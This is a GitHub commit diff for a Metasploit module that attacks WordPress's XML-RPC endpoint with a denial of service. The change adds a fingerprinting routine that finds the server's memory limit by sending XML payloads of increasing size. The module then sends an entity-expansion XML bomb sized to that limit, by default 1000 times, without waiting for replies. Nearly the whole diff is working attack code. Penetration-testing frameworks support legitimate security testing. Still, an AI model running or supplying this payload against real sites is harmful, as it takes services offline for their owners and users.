Skip to content

Commit a7be5b5

Browse files
committed
Added fingerprinting
1 parent d6e6045 commit a7be5b5

File tree

1 file changed

+102
-11
lines changed

1 file changed

+102
-11
lines changed

modules/auxiliary/dos/http/wordpress_xmlrpc_dos.rb

Lines changed: 102 additions & 11 deletions
Original file line numberDiff line numberDiff line change
@@ -38,37 +38,128 @@ def initialize(info = {})
3838
[
3939
OptInt.new('RLIMIT', [ true, "Number of requests to send", 1000 ])
4040
], self.class)
41+
42+
register_advanced_options(
43+
[
44+
OptInt.new('FINGERPRINT_STEP', [true, "The stepsize in MB when fingerprinting", 8]),
45+
OptInt.new('DEFAULT_LIMIT', [true, "The default limit in MB", 8])
46+
], self.class)
47+
end
48+
49+
def rlimit
50+
datastore['RLIMIT']
51+
end
52+
53+
def default_limit
54+
datastore['DEFAULT_LIMIT']
55+
end
56+
57+
def fingerprint_step
58+
datastore['FINGERPRINT_STEP']
4159
end
4260

43-
def generate_xml_bomb
61+
def fingerprint
62+
memory_to_use = fingerprint_step
63+
# try out the available memory in steps
64+
# apache will return a server error if the limit is reached
65+
while memory_to_use < 1024
66+
vprint_status("#{peer} - trying memory limit #{memory_to_use}MB")
67+
opts = {
68+
'method' => 'POST',
69+
'uri' => wordpress_url_xmlrpc,
70+
'data' => generate_xml(memory_to_use),
71+
'ctype' =>'text/xml'
72+
}
73+
74+
begin
75+
# low timeout because the server error is returned immediately
76+
res = send_request_cgi(opts, timeout = 3)
77+
rescue ::Rex::ConnectionError => exception
78+
print_error("#{peer} - unable to connect: '#{exception.message}'")
79+
break
80+
end
81+
82+
if res && res.code == 500
83+
# limit reached, return last limit
84+
last_limit = memory_to_use - fingerprint_step
85+
vprint_status("#{peer} - got an error - using limit #{last_limit}MB")
86+
return last_limit
87+
else
88+
memory_to_use += fingerprint_step
89+
end
90+
end
91+
92+
# no limit can be determined
93+
print_warning("#{peer} - can not determine limit, will use default of #{default_limit}")
94+
return default_limit
95+
end
96+
97+
def generate_xml(size)
4498
entity = Rex::Text.rand_text_alpha(3)
99+
doctype = Rex::Text.rand_text_alpha(6)
100+
param_value_1 = Rex::Text.rand_text_alpha(5)
101+
param_value_2 = Rex::Text.rand_text_alpha(5)
102+
103+
size_bytes = size * 1024
45104

46105
# Wordpress only resolves one level of entities so we need
47106
# to specify one long entity and reference it multiple times
48107
xml = '<?xml version="1.0" encoding="iso-8859-1"?>'
49-
xml << "<!DOCTYPE #{Rex::Text.rand_text_alpha(6)} ["
50-
xml << "<!ENTITY #{entity} \"#{Rex::Text.rand_text_alpha(9000)}\">"
108+
xml << "<!DOCTYPE %{doctype} ["
109+
xml << "<!ENTITY %{entity} \"%{entity_value}\">"
51110
xml << ']>'
52111
xml << '<methodCall>'
53112
xml << '<methodName>'
54-
xml << "&#{entity};" * 2000
113+
xml << "%{payload}"
55114
xml << '</methodName>'
56115
xml << '<params>'
57-
xml << "<param><value>#{Rex::Text.rand_text_alpha(5)}</value></param>"
58-
xml << "<param><value>#{Rex::Text.rand_text_alpha(5)}</value></param>"
116+
xml << "<param><value>%{param_value_1}</value></param>"
117+
xml << "<param><value>%{param_value_2}</value></param>"
59118
xml << '</params>'
60119
xml << '</methodCall>'
61120

62-
xml
121+
empty_xml = xml % {
122+
:doctype => '',
123+
:entity => '',
124+
:entity_value => '',
125+
:payload => '',
126+
:param_value_1 => '',
127+
:param_value_2 => ''
128+
}
129+
130+
space_to_fill = size_bytes - empty_xml.size
131+
vprint_debug("#{peer} - max XML space to fill: #{space_to_fill} bytes")
132+
133+
payload = "&#{entity};" * (space_to_fill / 6)
134+
entity_value_length = space_to_fill - payload.length
135+
136+
payload_xml = xml % {
137+
:doctype => doctype,
138+
:entity => entity,
139+
:entity_value => Rex::Text.rand_text_alpha(entity_value_length),
140+
:payload => payload,
141+
:param_value_1 => param_value_1,
142+
:param_value_2 => param_value_2
143+
}
144+
145+
payload_xml
63146
end
64147

65148
def run
66-
for x in 1..datastore['RLIMIT']
67-
print_status("#{peer} - Sending request ##{x}...")
149+
# get the max size
150+
print_status("#{peer} - trying to fingerprint the maximum memory we could use")
151+
size = fingerprint
152+
print_status("#{peer} - using #{size}MB as memory limit")
153+
154+
# only generate once
155+
xml = generate_xml(size)
156+
157+
for x in 1..rlimit
158+
print_status("#{peer} - sending request ##{x}...")
68159
opts = {
69160
'method' => 'POST',
70161
'uri' => wordpress_url_xmlrpc,
71-
'data' => generate_xml_bomb,
162+
'data' => xml,
72163
'ctype' =>'text/xml'
73164
}
74165
begin
@@ -77,7 +168,7 @@ def run
77168
c.send_request(r)
78169
# Don't wait for a response, can take very long
79170
rescue ::Rex::ConnectionError => exception
80-
print_error("#{peer} - Unable to connect: '#{exception.message}'")
171+
print_error("#{peer} - unable to connect: '#{exception.message}'")
81172
return
82173
ensure
83174
disconnect(c) if c

0 commit comments

Comments
 (0)